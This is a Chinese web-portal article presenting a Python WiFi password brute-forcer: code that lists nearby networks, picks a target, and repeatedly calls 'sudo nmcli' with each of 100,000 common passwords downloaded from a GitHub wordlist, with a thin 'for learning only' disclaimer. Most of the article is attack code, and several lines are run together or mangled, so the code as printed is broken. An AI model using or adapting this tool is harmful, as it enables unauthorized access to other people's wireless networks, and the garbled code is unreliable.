专业游戏门户,分享手游网游单机游戏百科知识攻略!

嗨游网
嗨游网

无线网密码怎么破解,无线网密码破解方法

来源:小嗨整编  作者:小嗨  发布时间:2022-09-16 05:09
摘要:无线网密码怎么破解,无线网密码破解方法。WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。因此,我们对WiFi密码的需求也没有之前那么迫切了。如何破解WiFi密码?本文,将会通...

无线网密码怎么破解,无线网密码破解方法。WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets:

def display_targets(networks, security_type):    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)        else:
                calc = int(columns)-int(width)        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

无线网密码怎么破解,无线网密码破解方法

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max):
    whileTrue:        try:
            selected = int(input("\nEnter number of target: "))            if(selected >= 1and selected <= max):                return selected - 1
        except Exception as e:
            ignore = e
        print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解。

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()
        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file        if isinstance(password, str):
            decoded_line = password        else:
            decoded_line = password.decode("utf-8")            
        if args.verbose isTrue:            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)        if (len(decoded_line) >= 8):            time.sleep(3)
            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)            if ("Error:"in creds.strip()):                if args.verbose isTrue:                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)        else:            if args.verbose isTrue:                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main():
    require_root()
    args = argument_parser()
    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)
    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)
    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
    brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

无线网密码怎么破解,无线网密码破解方法

不同的颜色代表不同不同的结果:

  • 红色:测试失败

  • 绿色:破解成功

  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?


本文地址:IT问答频道 https://www.eeeoo.cn/itwenda/697964.html,嗨游网一个专业手游免费下载攻略知识分享平台,本站部分内容来自网络分享,不对内容负责,如有涉及到您的权益,请联系我们删除,谢谢!


IT问答
小编:小嗨整编
相关文章相关阅读
  • 手机上怎么查已保存无线网络密码(手机忘记无线网密码找回方法)

    手机上怎么查已保存无线网络密码(手机忘记无线网密码找回方法)

    工作中最常见的事情,也是最尴尬的事情,就是太多太多的客户忘记自己的无线网密码了,到客户家维修的时候需要测试路由器是否能够正常使用,或者想进到路由器看里面的设置,大家猜猜不知道自己家里无线网密码的有多少?说出来可能有人不信...

  • 苹果手机怎么查无线网密码是多少(iPhone查看WiFi密码的方法)

    苹果手机怎么查无线网密码是多少(iPhone查看WiFi密码的方法)

    您想更改或分享您的Wi-Fi密码但不记得密码了吗?好吧,iPhone没有单一设置可以快速查看Wi-Fi密码。但是,我们可以应用一些技术。那么,让我们来看看如何在iPhone上找到Wi-Fi密码的...

  • 无线网密码破解,破解加密的无线网有哪些方法

    无线网密码破解,破解加密的无线网有哪些方法

    1,破解加密的无线网有哪些方法1、在手机上装有WiFi万能钥匙及WiFi密码查看。2、打开WiFi万能钥匙,点击一键查询万能钥匙按钮,手机会自动搜索附近的相关热点。3、如果搜索到相关热点,万能钥匙会自动破解分享的热点网络密码,破解成功,网络...

  • 无线网密码忘了怎么办 无线网密码忘了找回方法

    无线网密码忘了怎么办 无线网密码忘了找回方法

    无线网络密码是一个非常复杂的排列顺序得到的组合。对于一些没有修改过初始密码的用户而言,无线网络密码是一个非常难记住的数字组合。无线网络在日常生活中非常的重要,因为现在都是手机时代,我们相比起打开电脑连入网线,会更加喜欢直接打开手机连入无线...

  • 无线网密码怎么破解,无线网密码破解方法

    无线网密码怎么破解,无线网密码破解方法

    无线网密码怎么破解,无线网密码破解方法。WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。因此,我们对WiFi密码的需求也没有之前那么迫切了。如何破解WiFi密码?本文,将会通...

  • 家里wifi密码忘了怎么办 如何获取无线网密码【详解】

    家里wifi密码忘了怎么办 如何获取无线网密码【详解】

    平时生活中。蹭网的时候,手机wifi通过某钥匙或者别的工具链接上了无线网,通常是手机连上之后,这个密码是不显示的,但是手提电脑或者别的电子设备也想联网怎么办呢? 今天就个大家说一下怎么知道密码。 一...

  • 普联路由器提示无线网密码位数错误怎么解决【解决方法】

    普联路由器提示无线网密码位数错误怎么解决【解决方法】

    有些网友在使用普联 无线路由器 时,会出现这样的问题,即在输入无线网密码连接路由器时,提示网络密码必须是40位或104位,有些人会以为是普联路由器出了故障,其实这是由于设置方面的原因造成的,下面我给...

  • 苹果怎么重新输入无线网密码 苹果重新输入无线网密码方法【详细步骤】

    苹果怎么重新输入无线网密码 苹果重新输入无线网密码方法【详细步骤】

    苹果手机怎么重新输入无线网密码? 修改无线网密码后,苹果手机仍然会使用原来保存的旧的无线密码进行连接,就无法连接到无线网络。这时候,必须输入新的无线密码,才可以连接到原来的无线网络上网。 步骤: 1...

  • 周排行
  • 月排行
  • 年排行

精彩推荐